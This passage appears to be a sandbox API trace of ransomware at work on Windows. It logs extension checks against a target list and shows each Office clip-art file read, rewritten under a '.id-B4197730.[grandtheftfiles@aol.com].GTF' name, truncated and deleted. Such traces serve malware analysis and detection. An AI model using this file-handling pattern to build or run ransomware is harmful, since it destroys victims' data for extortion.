	[0080.346] lstrlenW (lpString=".1cd") returned 4
	[0080.346] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0080.346] lstrlenW (lpString=".jpg") returned 4
	[0080.346] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0080.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0080.346] lstrlenW (lpString=".doc") returned 4
	[0080.346] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.346] lstrlenW (lpString=".docx") returned 5
	[0080.346] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.346] lstrlenW (lpString=".pdf") returned 4
	[0080.346] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.346] lstrlenW (lpString=".xls") returned 4
	[0080.346] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.346] lstrlenW (lpString=".xlsx") returned 5
	[0080.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.346] lstrlenW (lpString=".ppt") returned 4
	[0080.346] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0080.346] lstrlenW (lpString=".zip") returned 4
	[0080.346] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.346] lstrlenW (lpString=".rar") returned 4
	[0080.346] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.346] lstrlenW (lpString=".bz2") returned 4
	[0080.346] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.346] lstrlenW (lpString=".7z") returned 3
	[0080.346] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0080.346] lstrlenW (lpString=".dbf") returned 4
	[0080.346] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0080.347] lstrlenW (lpString=".1cd") returned 4
	[0080.347] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0080.347] lstrlenW (lpString=".jpg") returned 4
	[0080.347] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.347] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.347] lstrlenW (lpString="AN00853_.WMF") returned 12
	[0080.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.575] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=20578) returned 1
	[0080.576] CloseHandle (hObject=0x340) returned 1
	[0080.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220
	[0080.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.576] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.576] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0080.576] GetLastError () returned 0x0
	[0080.576] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x5062, lpOverlapped=0x0) returned 1
	[0080.579] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x5070, lpOverlapped=0x0) returned 1
	[0080.580] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.580] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.580] SetEndOfFile (hFile=0x388) returned 1
	[0080.580] CloseHandle (hObject=0x388) returned 1
	[0080.581] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.581] SetEndOfFile (hFile=0x340) returned 1
	[0080.582] CloseHandle (hObject=0x340) returned 1
	[0080.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1
	[0080.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.585] lstrlenW (lpString=".doc") returned 4
	[0080.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.585] lstrlenW (lpString=".docx") returned 5
	[0080.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.585] lstrlenW (lpString=".pdf") returned 4
	[0080.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.585] lstrlenW (lpString=".xls") returned 4
	[0080.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.585] lstrlenW (lpString=".xlsx") returned 5
	[0080.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.585] lstrlenW (lpString=".ppt") returned 4
	[0080.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.585] lstrlenW (lpString=".zip") returned 4
	[0080.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.585] lstrlenW (lpString=".rar") returned 4
	[0080.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.585] lstrlenW (lpString=".bz2") returned 4
	[0080.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.585] lstrlenW (lpString=".7z") returned 3
	[0080.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.585] lstrlenW (lpString=".dbf") returned 4
	[0080.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.585] lstrlenW (lpString=".1cd") returned 4
	[0080.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.586] lstrlenW (lpString=".jpg") returned 4
	[0080.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.586] lstrlenW (lpString=".doc") returned 4
	[0080.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.586] lstrlenW (lpString=".docx") returned 5
	[0080.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.586] lstrlenW (lpString=".pdf") returned 4
	[0080.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.586] lstrlenW (lpString=".xls") returned 4
	[0080.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.586] lstrlenW (lpString=".xlsx") returned 5
	[0080.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.586] lstrlenW (lpString=".ppt") returned 4
	[0080.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.586] lstrlenW (lpString=".zip") returned 4
	[0080.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.586] lstrlenW (lpString=".rar") returned 4
	[0080.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.586] lstrlenW (lpString=".bz2") returned 4
	[0080.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.586] lstrlenW (lpString=".7z") returned 3
	[0080.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.586] lstrlenW (lpString=".dbf") returned 4
	[0080.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.586] lstrlenW (lpString=".1cd") returned 4
	[0080.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0080.586] lstrlenW (lpString=".jpg") returned 4
	[0080.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.587] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.587] lstrlenW (lpString="AN01044_.WMF") returned 12
	[0080.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.589] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1596) returned 1
	[0080.589] CloseHandle (hObject=0x340) returned 1
	[0080.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220
	[0080.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.589] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.589] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0080.590] GetLastError () returned 0x0
	[0080.590] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x63c, lpOverlapped=0x0) returned 1
	[0080.591] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x640, lpOverlapped=0x0) returned 1
	[0080.592] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.592] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.592] SetEndOfFile (hFile=0x388) returned 1
	[0080.592] CloseHandle (hObject=0x388) returned 1
	[0080.593] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.593] SetEndOfFile (hFile=0x340) returned 1
	[0080.594] CloseHandle (hObject=0x340) returned 1
	[0080.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1
	[0080.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.595] lstrlenW (lpString=".doc") returned 4
	[0080.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.595] lstrlenW (lpString=".docx") returned 5
	[0080.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.595] lstrlenW (lpString=".pdf") returned 4
	[0080.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.595] lstrlenW (lpString=".xls") returned 4
	[0080.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.595] lstrlenW (lpString=".xlsx") returned 5
	[0080.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.595] lstrlenW (lpString=".ppt") returned 4
	[0080.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.595] lstrlenW (lpString=".zip") returned 4
	[0080.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.595] lstrlenW (lpString=".rar") returned 4
	[0080.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.595] lstrlenW (lpString=".bz2") returned 4
	[0080.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.595] lstrlenW (lpString=".7z") returned 3
	[0080.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.595] lstrlenW (lpString=".dbf") returned 4
	[0080.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.595] lstrlenW (lpString=".1cd") returned 4
	[0080.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.595] lstrlenW (lpString=".jpg") returned 4
	[0080.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.596] lstrlenW (lpString=".doc") returned 4
	[0080.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.596] lstrlenW (lpString=".docx") returned 5
	[0080.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.596] lstrlenW (lpString=".pdf") returned 4
	[0080.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.596] lstrlenW (lpString=".xls") returned 4
	[0080.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.596] lstrlenW (lpString=".xlsx") returned 5
	[0080.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.596] lstrlenW (lpString=".ppt") returned 4
	[0080.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.596] lstrlenW (lpString=".zip") returned 4
	[0080.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.596] lstrlenW (lpString=".rar") returned 4
	[0080.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.596] lstrlenW (lpString=".bz2") returned 4
	[0080.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.596] lstrlenW (lpString=".7z") returned 3
	[0080.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.596] lstrlenW (lpString=".dbf") returned 4
	[0080.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.596] lstrlenW (lpString=".1cd") returned 4
	[0080.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0080.596] lstrlenW (lpString=".jpg") returned 4
	[0080.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.597] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.597] lstrlenW (lpString="AN01060_.WMF") returned 12
	[0080.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.597] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=7968) returned 1
	[0080.597] CloseHandle (hObject=0x340) returned 1
	[0080.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220
	[0080.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.597] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.597] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0080.598] GetLastError () returned 0x0
	[0080.598] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1f20, lpOverlapped=0x0) returned 1
	[0080.601] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1f30, lpOverlapped=0x0) returned 1
	[0080.602] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.602] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.602] SetEndOfFile (hFile=0x388) returned 1
	[0080.602] CloseHandle (hObject=0x388) returned 1
	[0080.603] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.603] SetEndOfFile (hFile=0x340) returned 1
	[0080.604] CloseHandle (hObject=0x340) returned 1
	[0080.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1
	[0080.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.605] lstrlenW (lpString=".doc") returned 4
	[0080.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.605] lstrlenW (lpString=".docx") returned 5
	[0080.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.605] lstrlenW (lpString=".pdf") returned 4
	[0080.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.605] lstrlenW (lpString=".xls") returned 4
	[0080.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.605] lstrlenW (lpString=".xlsx") returned 5
	[0080.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.605] lstrlenW (lpString=".ppt") returned 4
	[0080.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.605] lstrlenW (lpString=".zip") returned 4
	[0080.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.605] lstrlenW (lpString=".rar") returned 4
	[0080.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.605] lstrlenW (lpString=".bz2") returned 4
	[0080.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.605] lstrlenW (lpString=".7z") returned 3
	[0080.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.605] lstrlenW (lpString=".dbf") returned 4
	[0080.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
